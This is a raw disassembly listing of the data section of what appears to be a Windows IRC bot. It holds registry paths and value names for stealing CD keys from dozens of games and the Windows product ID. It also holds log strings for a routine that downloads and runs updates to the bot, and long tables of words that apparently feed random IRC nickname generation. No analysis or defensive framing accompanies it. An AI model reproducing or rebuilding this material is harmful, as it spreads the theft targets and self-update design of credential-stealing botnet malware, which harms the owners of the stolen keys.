		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial_0	db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: nsp0:00437504o
aCdkey		db 'CDKey',0            ; DATA XREF: nsp0:00437500o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: nsp0:off_4374FCo
		align 4
asc_4386FC:				; DATA XREF: sub_413D6E+E9o
					; sub_413D6E+F4o
		unicode	0, <=>,0
dword_438700	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_413D6E+2Bo
		dd 0
unk_438718	db  2Dh	; -		; DATA XREF: sub_413F23+493o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_438744	db  2Dh	; -		; DATA XREF: sub_413F23+485o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_438778	db  2Dh	; -		; DATA XREF: sub_413F23+3C9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_4387BC	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: sub_413F23+358o
		dd 25206465h, 73h
unk_4387D8	db  2Dh	; -		; DATA XREF: sub_413F23+2E1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 10h
unk_438810	db  2Dh	; -		; DATA XREF: sub_413F23+262o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_438838	db  2Dh	; -		; DATA XREF: sub_413F23+1D8o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438864	db  2Dh	; -		; DATA XREF: sub_413F23+195o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_43888C	db  2Dh	; -		; DATA XREF: sub_413F23+183o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_4388B4	db  2Dh	; -		; DATA XREF: sub_413F23+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4144CB:loc_41450Eo
					; sub_415F6F+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4144CB:loc_414508o
aDisk		db 'Disk',0             ; DATA XREF: sub_4144CB:loc_414502o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4144CB:loc_4144FCo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4144CB:loc_4144F6o
		align 4
off_438904	dd offset word_4D4152	; DATA XREF: sub_4144CB:loc_4144F0o
word_438908	dw 3Fh			; DATA XREF: sub_4144CB+1Fo
					; sub_417368:loc_41746Ar
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_41455C:loc_414634o
					; sub_414677+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_41455C+6Bo
		align 4
unk_43891C	db  2Dh	; -		; DATA XREF: sub_414677+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_438958	db  2Dh	; -		; DATA XREF: sub_414677+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_414749:loc_41478Eo
off_438998	dd offset aQ		; DATA XREF: sub_414BB2+5Cr
					; "q"
		dd offset aW		; "w"
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset aY		; "y"
		dd offset aU		; "u"
		dd offset aI_0		; "i"
		dd offset aP		; "p"
		dd offset aA_0		; "a"
		dd offset aS_1		; "s"
		dd offset aD		; "d"
		dd offset aF		; "f"
		dd offset aG		; "g"
		dd offset asc_4279E0	; "h"
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_427950	; "l"
		dd offset aZ		; "z"
		dd offset asc_42BB9C	; "x"
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset aB		; "b"
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset aQ_0		; "Q"
		dd offset aW_0		; "W"
		dd offset aE_0		; "E"
		dd offset aR_0		; "R"
		dd offset aT_0		; "T"
		dd offset aY_0		; "Y"
		dd offset aU_0		; "U"
		dd offset aI		; "I"
		dd offset aO_0		; "O"
		dd offset aP_0		; "P"
		dd offset aA		; "A"
		dd offset aS_3		; "S"
		dd offset aD_2		; "D"
		dd offset aF_1		; "F"
		dd offset aG_0		; "G"
		dd offset asc_4394C8	; "H"
		dd offset aJ_0		; "J"
		dd offset aK_0		; "K"
		dd offset asc_4394BC	; "L"
		dd offset aZ_0		; "Z"
		dd offset asc_4394B4	; "X"
		dd offset aC_0		; "C"
		dd offset aV_0		; "V"
		dd offset aB_0		; "B"
		dd offset aN_0		; "N"
		dd offset aM_1		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl_0	; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_43924C
		dd offset off_439248
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_4390B4
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_438C98	dd offset aSex_0	; DATA XREF: sub_414BB2+41r
					; sub_414BB2+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
		dd offset aLag		; "lag"
		dd offset aTambe	; "|tambe|"
		dd offset aWoh		; "|woh|"
		dd offset aTot		; "-|tot|"
		dd offset aSuck_0	; "|suck|"
		dd offset aLuck_0	; "|luck|"
		dd offset aHub		; "{hub}"
		dd offset aSex_1	; "{sex}"
		dd offset aGens		; "{gens|"
		dd offset aLuvuF	; "||luvu-f|"
		dd offset aWiked	; "|wiked|"
		dd offset aSick_0	; "sick}}"
		dd offset aQ8		; "Q8"
		dd offset aQ8A		; "|q8|a"
		dd offset aB		; "b"
		dd offset aC		; "c"
		dd offset aD		; "d"
		dd offset aE		; "e"
		dd offset aF		; "f"
		dd offset aG		; "g"
		dd offset asc_4279E0	; "h"
		dd offset aI_0		; "i"
		dd offset dword_42DD5C
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_427950	; "l"
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset aW		; "w"
		dd offset asc_42BB9C	; "x"
		dd offset aY		; "y"
		dd offset aZ		; "z"
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset aZ		; "z"
		dd offset aG		; "g"
		dd offset aS_1		; "s"
		dd offset aQ		; "q"
		dd offset off_438EDC
		dd offset aBbl		; "|bbl"
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset a___0		; "_|_"
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset aF_1		; "F"
		dd offset aM_1		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_0		; "^^^f^"
		dd offset aB		; "b"
		dd offset byte_43B9B8
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset aFuck_0	; "Fuck"
		dd offset aFree_0	; "Free"
		dd offset byte_43B9B8
		dd offset byte_43B9B8
		dd offset asc_4394B4	; "X"
		dd offset byte_43B9B8
		dd offset aBoy		; "BOY"
		dd offset aGirl_1	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438E64
		dd offset aLol		; "lol"
		dd offset dword_438E5C
		dd offset dword_438E50
		dd offset dword_438E48
		dd offset dword_438E40
		dd offset dword_438E38
		dd offset dword_438E34
		dd offset dword_438E30
dword_438E30	dd 7536h		; DATA XREF: nsp0:00438E2Co
dword_438E34	dd 7535h		; DATA XREF: nsp0:00438E28o
dword_438E38	dd 7C75347Ch, 0		; DATA XREF: nsp0:00438E24o
dword_438E40	dd 6F79347Bh, 7D75h	; DATA XREF: nsp0:00438E20o
dword_438E48	dd 7375347Ch, 7Ch	; DATA XREF: nsp0:00438E1Co
dword_438E50	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: nsp0:00438E18o
dword_438E5C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: nsp0:00438E14o
dword_438E64	dd 746F74h		; DATA XREF: nsp0:00438E0Co
aMofo		db 'mofo',0             ; DATA XREF: nsp0:00438E08o
		align 10h
aMof0		db 'mof0',0             ; DATA XREF: nsp0:00438E04o
		align 4
aMuha		db 'muha',0             ; DATA XREF: nsp0:00438E00o
		align 10h
aYeah		db 'yeah',0             ; DATA XREF: nsp0:00438DFCo
		align 4
aAha		db 'aha',0              ; DATA XREF: nsp0:00438DF8o
aGurl		db 'gurl',0             ; DATA XREF: nsp0:00438DF0o
		align 4
aGirl_1		db 'GIRL',0             ; DATA XREF: nsp0:00438DECo
		align 4
aBoy		db 'BOY',0              ; DATA XREF: nsp0:00438DE8o
aFree_0		db 'Free',0             ; DATA XREF: nsp0:00438DD4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: nsp0:00438DD0o
		align 10h
aSleeping	db 'Sleeping',0         ; DATA XREF: nsp0:00438DC4o
		align 4
aF_0		db '^^^f^',0            ; DATA XREF: nsp0:00438DB8o
		align 4
aSad		db 'Sad',0              ; DATA XREF: nsp0:00438DB4o
aLuvu		db 'LUVU',0             ; DATA XREF: nsp0:00438DB0o
		align 10h
a___0		db '_|_',0              ; DATA XREF: nsp0:00438D94o
aBbl		db '|bbl',0             ; DATA XREF: nsp0:00438D88o
		align 4
off_438EDC	dd offset off_425240+2	; DATA XREF: nsp0:00438D84o
aMuckc		db 'muckc',0            ; DATA XREF: nsp0:00438D70o
		align 4
aTruck		db 'truck',0            ; DATA XREF: nsp0:00438D6Co
		align 10h
aTrimy		db 'trimy',0            ; DATA XREF: nsp0:00438D68o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: nsp0:00438D64o
		align 10h
aUi		db 'ui',0               ; DATA XREF: nsp0:00438D60o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: nsp0:00438D5Co
aRt		db 'rt',0               ; DATA XREF: nsp0:00438D58o
		align 4
aGf		db 'gf',0               ; DATA XREF: nsp0:00438D54o
		align 10h
aTy		db 'ty',0               ; DATA XREF: nsp0:00438D50o
		align 4
aRg		db 'rg',0               ; DATA XREF: nsp0:00438D4Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: nsp0:00438D48o
		align 10h
aRs		db 'rs',0               ; DATA XREF: nsp0:00438D28o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: nsp0:00438CE0o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: nsp0:00438CDCo
		align 10h
aSick_0		db 'sick}}',0           ; DATA XREF: nsp0:00438CD8o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: nsp0:00438CD4o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: nsp0:00438CD0o
		align 4
aGens		db '{gens|',0           ; DATA XREF: nsp0:00438CCCo
		align 4
aSex_1		db '{sex}',0            ; DATA XREF: nsp0:00438CC8o
		align 4
aHub		db '{hub}',0            ; DATA XREF: nsp0:00438CC4o
		align 4
aLuck_0		db '|luck|',0           ; DATA XREF: nsp0:00438CC0o
		align 4
aSuck_0		db '|suck|',0           ; DATA XREF: nsp0:00438CBCo
		align 4
aTot		db '-|tot|',0           ; DATA XREF: nsp0:00438CB8o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: nsp0:00438CB4o
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: nsp0:00438CB0o
aLag		db 'lag',0              ; DATA XREF: nsp0:00438CACo
aBad		db 'bad',0              ; DATA XREF: nsp0:00438CA8o
aZex		db 'zex',0              ; DATA XREF: nsp0:00438CA0o
aLez		db 'lez',0              ; DATA XREF: nsp0:00438C9Co
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: nsp0:00438C94o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: nsp0:00438C90o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: nsp0:00438C8Co
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: nsp0:00438C88o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: nsp0:00438C84o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: nsp0:00438C80o
		align 10h
aTeoman		db 'TEOMAN```',0        ; DATA XREF: nsp0:00438C7Co
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: nsp0:00438C78o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: nsp0:00438C74o
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: nsp0:00438C70o
aTropikal	db 'tropikal',0         ; DATA XREF: nsp0:00438C6Co
		align 10h
aPassenger	db 'passenger',0        ; DATA XREF: nsp0:00438C68o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: nsp0:00438C64o
		align 4
aUla		db 'ula',0              ; DATA XREF: nsp0:00438C60o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: nsp0:00438C5Co
aAkden		db 'akden',0            ; DATA XREF: nsp0:00438C58o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: nsp0:00438C54o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: nsp0:00438C50o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: nsp0:00438C4Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: nsp0:00438C48o
aM41ist		db 'M41IST',0           ; DATA XREF: nsp0:00438C44o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: nsp0:00438C40o
		align 10h
aAdem28		db 'Adem28',0           ; DATA XREF: nsp0:00438C3Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: nsp0:00438C38o
		align 10h
aErkan		db 'erkan',0            ; DATA XREF: nsp0:00438C34o
		align 4
aDevre		db 'devre',0            ; DATA XREF: nsp0:00438C30o
		align 10h
aYabanc		db 'yabanc',0           ; DATA XREF: nsp0:00438C2Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: nsp0:00438C28o
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: nsp0:00438C24o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: nsp0:00438C20o
		align 4
off_4390B4	dd offset byte_4B5245	; DATA XREF: nsp0:00438C1Co
aSevda		db 'sevda',0            ; DATA XREF: nsp0:00438C18o
		align 10h
